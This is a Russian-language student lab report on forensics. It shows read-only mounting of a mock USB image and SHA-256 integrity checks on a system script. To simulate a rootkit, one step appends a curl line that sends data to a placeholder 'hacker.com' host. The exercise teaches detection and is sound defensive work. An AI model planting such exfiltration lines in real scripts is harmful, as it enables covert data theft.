

ЛАБОРАТОРНАЯ РАБОТА №6: «Цифровая криминалистика и целостность данных»

Легенда: Ты — эксперт по цифровой криминалистике (DFIR - Digital Forensics and Incident Response). В серверную комнату проник неизвестный, и охрана нашла оставленную им флешку. Кроме того, системный администратор подозревает, что злоумышленник успел подменить одну из системных утилит, чтобы скрыть свое присутствие (установил руткит). Твоя задача: безопасно изучить "флешку", не уничтожив улики, и доказать факт подмены системного файла.

ПОДГОТОВКА "МЕСТА ПРЕСТУПЛЕНИЯ" (Setup)

Поскольку у нас виртуальная машина и нет реальной флешки, мы создадим её имитацию (образ диска) и "подменим" файл прямо в системе. **Выполни этот блок команд в терминале, чтобы подготовить полигон:**

1. Создаем файл-образ размером 20 МБ (наша "флешка")

```
dd if=/dev/zero of=/tmp/suspicious_usb.img bs=1M count=20
```

2. Форматируем его в файловую систему ext4

```
sudo mkfs.ext4 /tmp/suspicious_usb.img
```

3. Временно монтируем, чтобы "хакер" мог скинуть туда улики

```
sudo mkdir -p /tmp/usb_mount
```

```
sudo mount /tmp/suspicious_usb.img /tmp/usb_mount
```

```
echo "Пароль от базы данных: SuperSecret123!" | sudo tee /tmp/usb_mount/credentials.txt
```

```
echo "План атаки на сервер 192.168.1.50" | sudo tee /tmp/usb_mount/attack_plan.txt
```

```
sudo umount /tmp/usb_mount
```

```
sudo rmdir /tmp/usb_mount
```

4. Создаем "системную утилиту", которую мы будем проверять на целостность

```
sudo bash -c 'echo "#!/bin/bash\nnecho System OK" > /usr/local/bin/sys_monitor.sh'
```

```
sudo chmod +x /usr/local/bin/sys_monitor.sh
```

Полигон готов! Теперь представь, что ты не знаешь, что находится внутри /tmp/suspicious_usb.img, и начинай расследование.

ЗАДАЧА 1. Инвентаризация дисков и поиск "флешки"

Шаг 1.1. Посмотри дерево всех блочных устройств в системе. Найди в списке наш файл-образ /tmp/suspicious_usb.img (он может отображаться как loop-устройство). (Подсказка: используй команду `lsblk`)

```
(kali@kali)-[~]
$ lsblk
NAME        MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0        7:0      0   20M  0 loop /tmp/usb_mount
sda          8:0      0 80.1G  0 disk
└─sda1       8:1      0 80.1G  0 part /
sr0         11:0     1 1024M  0 rom
```

при помощи команды `lsblk` мы вывели дерево всех дисков. обнаружили подозрительный диск, отображается как `loop` устройство. судя по названию `loop` скорее всего это имеет связь с тем, что это само устройство, ну то есть какой-то пользовательский диск походу. остальные видим, `disk` `part` и `rom`, что является диском и жесткой памятью, ну я так понимаю несколько разных дисков просто, а судя по структуре дерева `part` это подразделение `disk`, ну то есть какое-то хранилище внутри, но оно занимает весь `disk`, так как размеры `disk` и `part` одинаковые.

Шаг 1.2. Посмотри, сколько всего места занято и сколько свободно на всех смонтированных файловых системах. (Подсказка: используй команду `df -h`)

```
(kali@kali)-[~]
$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            883M     0  883M   0% /dev
tmpfs           198M   1.1M  197M   1% /run
/dev/sda1        79G   18G   57G  24% /
tmpfs           986M   4.0K  986M   1% /dev/shm
none            1.0M     0   1.0M   0% /run/credentials/systemd-journald.service
tmpfs           986M  480K  986M   1% /tmp
none            1.0M     0   1.0M   0% /run/credentials/getty@tty1.service
tmpfs           198M  108K  198M   1% /run/user/1000
/dev/loop0       18M   46K   16M   1% /tmp/usb_mount
```

ну вот размеры указаны во второй колонке для каждой файловой системы. в нашей системе /dev/loop0 получается 18 мегабайт

Шаг 1.3. Узнай UUID и тип файловой системы для нашего образа /tmp/suspicious_usb.img. (Подсказка: используй команду `sudo blkid`)

```
(kali@kali)-[~]  
$ sudo blkid  
/dev/loop0: UUID="8b5814f6-6aa9-4577-a282-50aec7b4f552" BLOCK_SIZE="1024" TYPE="ext4"  
/dev/sda1: LABEL="root" UUID="894e89ec-b178-42b7-a450-6e969a2aa8fe" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="f5d8db42-01"
```

видим два основных диска, нас интересует именно loop0, это и есть наш созданный диск, на скриншоте отображен его уникальный идентификатор и тип файловой системы.

ЗАДАЧА 2. Криминалистическое монтирование (Forensics Mount)

Главное правило криминалиста: **не измени улики!** Если мы примонтируем флешку в обычном режиме, система может автоматически обновить "время последнего доступа" к файлам, что испортит доказательную базу.

Шаг 2.1. Создай точку монтирования (папку, куда мы "подключим" флешку):

создадим папку допустим с названием /mnt/mydata

```
sudo mkdir -p /mnt/mydata
```

```
(kali@kali)-[~]  
$ sudo mkdir -p /mnt/mydata
```

Шаг 2.2. Примонтируй образ флешки в режиме **только для чтения (read-only)** и как loop-устройство. (Подсказка: команда `mount` с флагами `-o ro,loop`)

```
(kali@kali)-[~]  
$ sudo mount -o ro,loop /tmp/suspicious_usb.img /mnt/mydata
```

Шаг 2.3. Перейди в папку /mnt/mydata и посмотри, какие файлы там лежат. Прочитай их содержимое. (Подсказка: `ls -la` и `cat`)

```
(kali㉿kali)-[~]  
$ cd /mnt/mydata
```

```
(kali㉿kali)-[/mnt/mydata]  
$ ls -la
```

```
total 17  
drwxr-xr-x 3 root root 1024 Jul 24 09:49 .  
drwxr-xr-x 3 root root 4096 Jul 24 10:20 ..  
drwx----- 2 root root 12288 Jul 24 09:49 lost+found
```

что-то не так, тут пусто....

Upd: переделываем все!!!

Шаг 1. Размонтируй и удали старый образ

```
sudo umount /mnt/mydata 2>/dev/null
```

```
sudo rm -f /tmp/suspicious_usb.img
```

Шаг 2. Создай новый образ и отформатируй

```
dd if=/dev/zero of=/tmp/suspicious_usb.img bs=1M count=20
```

```
sudo mkfs.ext4 /tmp/suspicious_usb.img
```

Шаг 3. Смонтируй в обычном режиме (для записи)

```
sudo mkdir -p /tmp/usb_mount
```

```
sudo mount /tmp/suspicious_usb.img /tmp/usb_mount
```

Шаг 4. Создай файлы-улики (простыми командами, без кавычек-ловушек!)

```
sudo bash -c 'echo Пароль_от_базы_данных_SuperSecret123 >  
/tmp/usb_mount/credentials.txt'
```

```
sudo bash -c 'echo План_атаки_на_сервер_192.168.1.50 > /tmp/usb_mount/attack_plan.txt'
```

Шаг 5. Проверь, что файлы создались

```
ls -la /tmp/usb_mount/
```

```
cat /tmp/usb_mount/credentials.txt
```

```
cat /tmp/usb_mount/attack_plan.txt
```

Шаг 6. Размонтируй (теперь образ готов к forensics!)

```
sudo umount /tmp/usb_mount
```

```
sudo rmdir /tmp/usb_mount
```

Шаг 7. Смонтируй в режиме read-only (как криминалист!)

```
sudo mkdir -p /mnt/evidence
```

```
sudo mount -o ro,loop /tmp/suspicious_usb.img /mnt/evidence
```

```
ls -la /mnt/evidence/
```

```
(kali㉿kali)-[/mnt/mydata]
$ sudo umount /mnt/mydata 2>/dev/null

(kali㉿kali)-[/mnt/mydata]
$ sudo rm -f /tmp/suspicious_usb.img

(kali㉿kali)-[/mnt/mydata]
$ dd if=/dev/zero of=/tmp/suspicious_usb.img bs=1M count=20
20+0 records in
20+0 records out
20971520 bytes (21 MB, 20 MiB) copied, 0.0219822 s, 954 MB/s

(kali㉿kali)-[/mnt/mydata]
$ sudo mkfs.ext4 /tmp/suspicious_usb.img
mke2fs 1.47.4 (6-Mar-2025)
Discarding device blocks: done
Creating filesystem with 20480 1k blocks and 5112 inodes
Filesystem UUID: 0035a581-87d7-4660-8ae1-ab8492175687
Superblock backups stored on blocks:
    8193

Allocating group tables: done
Writing inode tables: done
Creating journal (1024 blocks): done
Writing superblocks and filesystem accounting information: done

(kali㉿kali)-[/mnt/mydata]
$ sudo mkdir -p /tmp/usb_mount

(kali㉿kali)-[/mnt/mydata]
$ sudo mount /tmp/suspicious_usb.img /tmp/usb_mount

(kali㉿kali)-[/mnt/mydata]
$ sudo bash -c 'echo Пароль_от_базы_данных_SuperSecret123 > /tmp/usb_mount/credentials.txt'

(kali㉿kali)-[/mnt/mydata]
$ sudo bash -c 'echo План_атаки_на_сервер_192.168.1.50 > /tmp/usb_mount/attack_plan.txt'
```



```

(kali㉿kali)-[/mnt/mydata]
$ ls -la /tmp/usb_mount/
total 15
drwxr-xr-x  3 root root  1024 Jul 24 10:48 .
drwxrwxrwt 14 root root   700 Jul 24 10:47 ..
-rw-r--r--  1 root root    51 Jul 24 10:48 attack_plan.txt
-rw-r--r--  1 root root    55 Jul 24 10:48 credentials.txt
drwx-----  2 root root 12288 Jul 24 10:47 lost+found

(kali㉿kali)-[/mnt/mydata]
$ cat /tmp/usb_mount/credentials.txt
Пароль_от_базы_данных_SuperSecret123

(kali㉿kali)-[/mnt/mydata]
$ cat /tmp/usb_mount/attack_plan.txt
План_атаки_на_сервер_192.168.1.50

(kali㉿kali)-[/mnt/mydata]
$ sudo umount /tmp/usb_mount

(kali㉿kali)-[/mnt/mydata]
$ sudo rmdir /tmp/usb_mount

(kali㉿kali)-[/mnt/mydata]
$ sudo mkdir -p /mnt/evidence

(kali㉿kali)-[/mnt/mydata]
$ sudo mount -o ro,loop /tmp/suspicious_usb.img /mnt/evidence

(kali㉿kali)-[/mnt/mydata]
$ ls -la /mnt/evidence/
total 19
drwxr-xr-x  3 root root  1024 Jul 24 10:48 .
drwxr-xr-x  4 root root  4096 Jul 24 10:50 ..
-rw-r--r--  1 root root    51 Jul 24 10:48 attack_plan.txt
-rw-r--r--  1 root root    55 Jul 24 10:48 credentials.txt
drwx-----  2 root root 12288 Jul 24 10:47 lost+found

```

Шаг 2.4. Проверка защиты. Попробуй создать в этой папке любой файл (например, touch test.txt). Что произошло? Почему система так поступила? (Это самый важный шаг для понимания forensics-монтирования).

```

(kali㉿kali)-[/mnt/mydata]
$ touch /mnt/evidence/test.txt
touch: cannot touch '/mnt/evidence/test.txt': Read-only file system

```

опааа, все верно, при попытке создания тестового текстового файла, выбило ошибку, что система только для чтения.

Шаг 2.5. Размонтируй "флешку" и удали точку монтирования.

ЗАДАЧА 3. Охота на руткиты: Проверка целостности

Хакеры часто заменяют стандартные утилиты (например, ls или ps) на свои, которые скрывают вредоносные процессы. Мы будем искать такие подмены с помощью криптографических хэшей.

Шаг 3.1. Создай эталонный хэш (отпечаток) для нашей "системной утилиты" и сохрани его в файл.

```
(kali@kali)-[~]  
$ sha256sum /usr/local/bin/sys_monitor.sh > passwd.hash
```

Шаг 3.2. Проверь целостность файла, сравнив его с эталоном.

Должно вывести: /usr/local/bin/sys_monitor.sh: OK

```
(kali@kali)-[~]  
$ sha256sum -c passwd.hash  
/usr/local/bin/sys_monitor.sh: OK
```

Шаг 3.3. Симуляция атаки. Представь, что хакер получил root-права и изменил утилиту, чтобы она втихаря отправляла данные ему.

```
sudo bash -c 'echo "curl http://hacker.com/steal?data=\\$1" >> /usr/local/bin/sys_monitor.sh'
```

```
(kali@kali)-[~]  
$ sudo bash -c 'echo "curl http://hacker.com/steal?data=\$1" >> /usr/local/bin/sys_monitor.sh'
```

Шаг 3.4. Снова проверь целостность файла той же командой, что и в Шаге 3.2. Что вывела система? Как именно хэш-сумма помогла обнаружить взлом?

```
(kali@kali)-[~]  
$ sha256sum -c passwd.hash  
/usr/local/bin/sys_monitor.sh: FAILED  
sha256sum: WARNING: 1 computed checksum did NOT match
```

выбило ошибку, так как мы добавили строчку в файл в прошлом пункте, ну то есть изменили файл, а хэш работает по принципу, что если изменить хотя бы один символ, то хэш уже будет совсем другой, поэтому нам и вывело сообщение, что контрольная сумма не совпадает. все как и должно быть.

Шаг 3.5. (Опционально) Посмотри, что именно изменилось в файле, открыв его через `cat /usr/local/bin/sys_monitor.sh`.

```
(kali@kali)-[~]  
$ cat /usr/local/bin/sys_monitor.sh  
#!/bin/bash  
echo System OK  
curl http://hacker.com/steal?data=$1
```

ну в общем как я и говорила в файле добавилась еще одна строка и соответственно отпечаток не соврал.

ЗАДАЧА 4. Знакомство с LVM (Logical Volume Manager)

В корпоративных серверах диски редко размечаются напрямую, почти всегда используется LVM.

Шаг 4.1. Выполни три команды, чтобы посмотреть структуру LVM в твоей системе (если она используется):


```
(kali㉿kali)-[~]  
$ sudo lvs
```

```
(kali㉿kali)-[~]  
$ sudo pvs
```

```
(kali㉿kali)-[~]  
$ sudo vgs
```